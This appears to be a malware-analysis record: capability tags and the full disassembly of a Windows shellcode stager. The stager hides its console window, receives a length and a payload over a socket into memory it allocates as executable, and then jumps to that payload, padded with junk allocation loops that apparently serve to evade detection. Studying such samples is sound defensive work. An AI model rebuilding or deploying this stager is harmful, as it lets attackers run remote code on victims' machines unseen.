Function at 0x401998
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x11594
call fcn.00402b70
sub esp, eax
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x4019f8
mov dword [esp], 0x1fd
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x2510], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x93c
jle 0x4019dc
call sym._ocxDNSRSw
call sym._ddGWCHKv
mov dword [ebp - 0xb438], eax
mov dword [ebp - 0xc], 0
jmp 0x401a36
mov dword [esp], 0x20d5
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xb434], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x23c8
jle 0x401a1a
mov eax, dword [ebp - 0xb438]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jne 0x401a79
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401a87
mov eax, dword [ebp - 0xb438]
mov dword [esp], eax
call sym._iXbjKJTZ
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401add
call sym._YYFPmLsE
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x2510]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x93c
jle 0x401abe
cmp dword [ebp - 0x14], 0
jne 0x401afa
mov eax, dword [ebp - 0xb438]
mov dword [esp], eax
call sym._iXbjKJTZ
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xb438]
mov dword [edx], eax
mov dword [ebp - 0xc], 0
jmp 0x401b33
mov dword [esp], 0xe07
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x11588], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1853
jle 0x401b17
mov dword [ebp - 0xc], 0
jmp 0x401b64
call sym._HODfMtdKeil
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xb434]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x23c8
jle 0x401b45
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 5]
mov eax, dword [ebp - 0xb438]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._sQgitsiuue
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401bc4
call sym._XtiUSuwyqVzsTVC
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x11588]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1853
jle 0x401ba5
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret